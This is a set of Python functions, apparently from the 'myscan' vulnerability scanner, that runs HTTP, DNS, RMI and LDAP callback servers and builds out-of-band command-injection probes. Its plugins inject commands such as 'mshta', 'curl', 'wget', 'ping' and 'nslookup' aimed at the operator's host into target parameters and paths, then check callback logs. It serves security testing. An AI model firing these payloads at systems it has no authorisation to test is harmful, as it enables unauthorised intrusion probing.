def reverse_start(): try: secret_key = reverse_set.get("secret_key") if not secret_key: secret_key = get_random_str(9) logger.info("Reverse http server: http://{}:{} secret_key: {}".format(reverse_set.get("reverse_http_ip"), reverse_set.get("reverse_http_port"), secret_key)) logger.info("Reverse dns server: {}".format(reverse_set.get("reverse_domain"))) logger.info("Reverse rmi server: {}:{}".format(reverse_set.get("reverse_rmi_ip"),reverse_set.get("reverse_rmi_port"))) init_db() try: p = Process(target=http_start,args=(secret_key,)) p.daemon = True p.start() p1 = Process(target=rmi_start) p1.daemon = True p1.start() dns_start() except KeyboardInterrupt as ex: logger.warning("Ctrl+C was pressed ,aborted program") except Exception as ex: logger.warning("Start reverse get error:{}".format(ex)) sys.exit()
def query_reverse(payload, sleep=True): ''' return list : (result:bool,result_data:list) ''' if sleep: time.sleep(int(reverse_set.get("sleep", 5))) for _ in range(3): try: r = requests.get("http://{}:{}/search?query={}&key={}".format( reverse_set.get("reverse_http_ip"), reverse_set.get("reverse_http_port"), payload, reverse_set.get("secret_key")), timeout=5) res = r.json() if res.get("total") > 0: return True, res else: return False, res except Exception as ex: logger.debug( "Get result from reverse http server error:{}".format(ex) + "May be your network can't connect to {}".format( reverse_set.get("reverse_http_ip"))) continue return False, []
def check_reverse(): ver = platform.system() dns_random_str = "myscan_dnstest_" + get_random_str(10) http_random_str = "myscan_httptest_" + get_random_str(10) domain = "{}.{}".format(dns_random_str, reverse_set.get("reverse_domain")) url = "http://{}:{}/?d={}".format(reverse_set.get("reverse_http_ip"), reverse_set.get("reverse_http_port"), http_random_str) logger.info( "Will exec ping ,nslookup,mshta,curl,wget to test server , it will take around 20s" ) if ver.lower() == "windows": cmd = "ping -n 2 {}>nul & nslookup {} >nul & mshta {}".format( domain, domain, url) else: cmd = "ping -c 2 {} 2>&1 >/dev/null & nslookup {} 2>&1 >/dev/null & curl {} 2>&1 >/dev/null & wget {} --output-document=/dev/null".format( domain, domain, url, url) logger.info("Start exec cmd:{}".format(cmd)) run_cmd(cmd) res_http = query_reverse(http_random_str) res_dns = query_reverse(domain, False) # 此处需添加rmi 服务的检测代码,需本地模拟一个rmi的client if res_http[0]: logger.critical("Client connect http reverse server: Success") else: logger.warning("Client connect http reverse server: Fail") if res_dns[0]: logger.critical("Client connect dns reverse server: Success") else: logger.warning("Client disconnect dns reverse server: Fail")
def main(): max_conn = 200 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ip_port = ("0.0.0.0", int(reverse_set.get("reverse_rmi_port"))) sock.bind(ip_port) sock.listen(200) logger.info("RMI listen: 0.0.0.0:{}".format( int(reverse_set.get("reverse_rmi_port")))) while True: client, address = sock.accept() thread = threading.Thread(target=rmi_response, args=(client, address)) thread.setDaemon(True) thread.start()
def main(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # ip=reverse_set.get("reverse_rmi_ip") ip = "0.0.0.0" # 这里不用配置中的ip是因为,像腾讯云,监听IP是个内网,但是有个公网地址。 ip_port = (ip, int(reverse_set.get("reverse_rmi_port"))) sock.bind(ip_port) sock.listen(200) logger.info("RMI listen: {}:{}".format( ip, int(reverse_set.get("reverse_rmi_port")))) while True: client, address = sock.accept() thread = threading.Thread(target=rmi_response, args=(client, address)) thread.setDaemon(True) thread.start()
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return reverse_urls, reverse_data = generate_reverse_payloads(self.name) _, dns_data = generate(self.name, "dns") tasks = [] for reverse_url in reverse_urls: for cmd in [reverse_url, reverse_url.replace(reverse_set.get("reverse_http_ip", ""), dns_data)]: for path in ["", "securityRealm/user/admin/"]: tasks.append((cmd, path)) mythread(self.run, list(set(tasks))) sleep = True for hexdata in [reverse_data, dns_data]: query_res, _ = query_reverse(hexdata, sleep) sleep = False if query_res: parser_ = dictdata_parser(self.dictdata) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others:": "{} in dnslog".format(hexdata), "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } }) break
def verify(self): if self.dictdata.get("url").get("extension") not in "": return if not self.can_output(self.parse.getrootpath() + self.name): # 限定只输出一次 return self.parse = dictdata_parser(self.dictdata) reqs = [] params = self.dictdata.get("request").get("params").get("params_url") # body为urlencode类型 if self.dictdata.get("request").get( "content_type") == 1: # data数据类型为urlencode params += self.dictdata.get("request").get("params").get( "params_body") # gen,payload 具体参数自己慢慢测试吧,没标定是那个参数 cmds = [] payloads_, hexdata = generate_reverse_payloads(self.name) _, dnshexdata = generate_reverse_payloads(self.name, "dns") for payload in payloads_: cmds.append(payload) cmds.append( payload.replace(reverse_set.get("reverse_http_ip"), dnshexdata)) for param in params: for cmd in cmds: for payload, func in self.payloads: payload = payload % (func(cmd)) req = self.parse.getreqfromparam(param, "a", payload, False) reqs.append(req) # send it mythread(self.send, reqs) # query sleep = True for hexdata in [hexdata, dnshexdata]: query_res, _ = query_reverse(hexdata, sleep) sleep = False if query_res: self.result.append({ "name": self.name, "url": self.parse.getrootpath(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others:": "{} in dnslog".format(hexdata), "request": self.parse.getrequestraw(), "response": self.parse.getresponseraw() } }) self.can_output(self.parse.getrootpath() + self.name, True) break
def generate_reverse_payloads(urlpath, type="http"): ''' urlpath: string or bytes, url's path or others you wanto paste infos,don't contains url args ,it will to longs ,like http://www.test.com/admin/login type : string ,accept http,dns,rmi return ([cmd1,cmd2],payload) ''' # if "?" in urlpath: # urlpath = urlpath.split("?", 1)[0] if isinstance(urlpath, str): urlpath = urlpath.encode() payloads = { "http": ["mshta {url}", "curl {url}", "wget {url}"], "dns": ["ping -n 2 {domain}", "ping -c 2 {domain}" "nslookup {domain}"], "rmi": ["rmi://{}:{}/{}"], } reverse_payloads = [] hexdata = "" if type == "http": hexdata = get_random_str(4).lower() + binascii.b2a_hex( urlpath).decode() for payload in payloads["http"]: reverse_payloads.append( payload.format(url="http://{}:{}/?d={}".format( reverse_set.get("reverse_http_ip"), reverse_set.get("reverse_http_port"), hexdata))) elif type == "dns": hexdata = getrealdnsdata(urlpath) for payload in payloads["dns"]: reverse_payloads.append(payload.format(domain=hexdata)) elif type == "rmi": hexdata = get_random_str(4).lower() + binascii.b2a_hex( urlpath).decode() for payload in payloads["rmi"]: reverse_payloads.append( payload.format(reverse_set.get("reverse_rmi_ip"), reverse_set.get("reverse_rmi_port"), hexdata)) return (reverse_payloads, hexdata)
def decode_dns(dnslog): res = "" try: dnslog = dnslog[4:] dnslog = dnslog.replace("." + reverse_set.get("reverse_domain"), "") dnslog = "".join(dnslog.split(".")) res = binascii.a2b_hex(dnslog.encode()).decode() except binascii.Error as ex: pass except Exception as ex: logger.warning('decode dns get error:{}'.format(ex)) return res
def main(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # ip=reverse_set.get("reverse_ldap_ip") ip = "0.0.0.0" # 这里不用配置中的ip是因为,像腾讯云,监听IP是个内网,但是有个公网地址。 port = int(reverse_set.get("reverse_ldap_port")) sock.bind((ip, port)) sock.listen(200) while True: client, address = sock.accept() thread = threading.Thread(target=ldap_response, args=(client, address)) thread.setDaemon(True) thread.start()
def generate(urlpath, type="http"): if isinstance(urlpath, str): urlpath = urlpath.encode() if type == "dns": hexdata = getrealdnsdata(urlpath) return None, hexdata # will like None,rvzf74657374.log.evilhex.top elif type == "http": ''' 参数携带,根目录下的d参数,如/?d=asdadadffa,通过asdadadffa可查询。 ''' hexdata = get_random_str(4).lower() + binascii.b2a_hex( urlpath).decode() ''' return like: http://www.baidu.com?d=aaaasdfasd ,aaaasdfasd ''' return "http://{}:{}/?d={}".format( reverse_set.get("reverse_http_ip"), reverse_set.get("reverse_http_port"), hexdata), hexdata elif type == "http2": ''' 路径携带,必须以myscan_开头,如 /myscan_oaldj2n.xml ,这样的路径才会入库,通过myscan_oaldj2n.xml可查询。 ''' hexdata = "myscan_" + get_random_str(4).lower() + urlpath.decode() ''' return like: http://www.baidu.com?d=aaaasdfasd ,aaaasdfasd ''' return "http://{}:{}/{}".format(reverse_set.get("reverse_http_ip"), reverse_set.get("reverse_http_port"), hexdata), hexdata elif type == "rmi": hexdata = get_random_str(4).lower() + binascii.b2a_hex( urlpath).decode() ''' return like:rmi://1.1.1.1:999/test,test ''' return "rmi://{}:{}/{}".format(reverse_set.get("reverse_rmi_ip"), reverse_set.get("reverse_rmi_port"), hexdata), hexdata elif type == "ldap": hexdata = get_random_str(4).lower() + binascii.b2a_hex( urlpath).decode() ''' return like:ldap://1.1.1.1:999/test,test ''' return "ldap://{}:{}/{}".format(reverse_set.get("reverse_ldap_ip"), reverse_set.get("reverse_ldap_port"), hexdata), hexdata
def getrealdnsdata(urlpath): ''' domain :like x.y.z ,x,y,z length should be < 64, and total length (x.y.z) <255 ''' data = "" for x in range(len(urlpath), 1, -1): hexdata = binascii.b2a_hex(bytearray(urlpath)[0:x]).decode() data = get_random_str(4).lower() + ".".join(cut_text( hexdata, 55)) + "." + reverse_set.get("reverse_domain") if len(data) > 250: continue else: break return data
def handle(self): data = self.request[0].strip() dns = SinDNSFrame(data) conn = self.request[1] query_name = dns.getname() # A record if dns.query.type == 1: response = ip_address if query_name.endswith( reverse_set.get("reverse_domain")) else None if response: dns.setip(response) log_format = { 'client_ip': self.client_address[0], 'client_port': self.client_address[1], 'query': query_name, 'record-type': 'A', 'response': response } conn.sendto(dns.getbytes(), self.client_address) res = {} res["type"] = "dns" res["client"] = self.client_address[0] res["query"] = query_name res["info"] = decode_dns(query_name) res["time"] = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) logger.info("Insert to db:" + str(res)) insert_db(res) # # AAAA record # elif dns.query.type == 28: # response = ip_address if query_name.endswith(reverse_set.get("reverse_domain")) else None # if response: # dns.setip(response) # conn.sendto(dns.getbytes(), self.client_address) # log_format = {'client_ip': self.client_address[0], 'client_port': self.client_address[1], # 'query': query_name, 'record-type': 'AAAA', 'response': response} # res = {} # res["type"] = "dns" # res["client"] = self.client_address[0] # res["query"] = query_name # res["info"] = "" # res["time"] = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) # logger.info(str(res)) else: dns.setip(ip_address) conn.sendto(dns.getbytes(), self.client_address)
def verify(self): # 限定一下目录深度,reverse还是严格点 if self.url.count("/") != 3: return reverse_urls, reverse_data = generate_reverse_payloads(self.name) # reverse_urls_ = filter(lambda x: x.startswith("curl") or x.startswith("wget"), reverse_urls) _, dns_data = generate(self.name, "dns") tasks = [] for reverse_url in reverse_urls: for cmd in [ reverse_url, reverse_url.replace(reverse_set.get("reverse_http_ip", ""), dns_data) ]: tasks.append(cmd) mythread(self.run, tasks) sleep = True for hexdata in [reverse_data, dns_data]: query_res, _ = query_reverse(hexdata, sleep) sleep = False if query_res: parser_ = dictdata_parser(self.dictdata) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others:": "{} in dnslog".format(hexdata), "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } }) break
def connect_db(): return sqlite3.connect(reverse_set.get("db_file"))
def http_start(secret_key): app.config["secret_key"] = secret_key port = int(reverse_set.get("reverse_http_port")) app.run(host='0.0.0.0', port=port)
def http_start(secret_key): app.config["secret_key"] = secret_key # ip = int(reverse_set.get("reverse_http_ip")) ip = "0.0.0.0" # 这里不用配置中的ip是因为,像腾讯云,监听IP是个内网,但是有个公网地址。 port = int(reverse_set.get("reverse_http_port")) app.run(host=ip, port=port)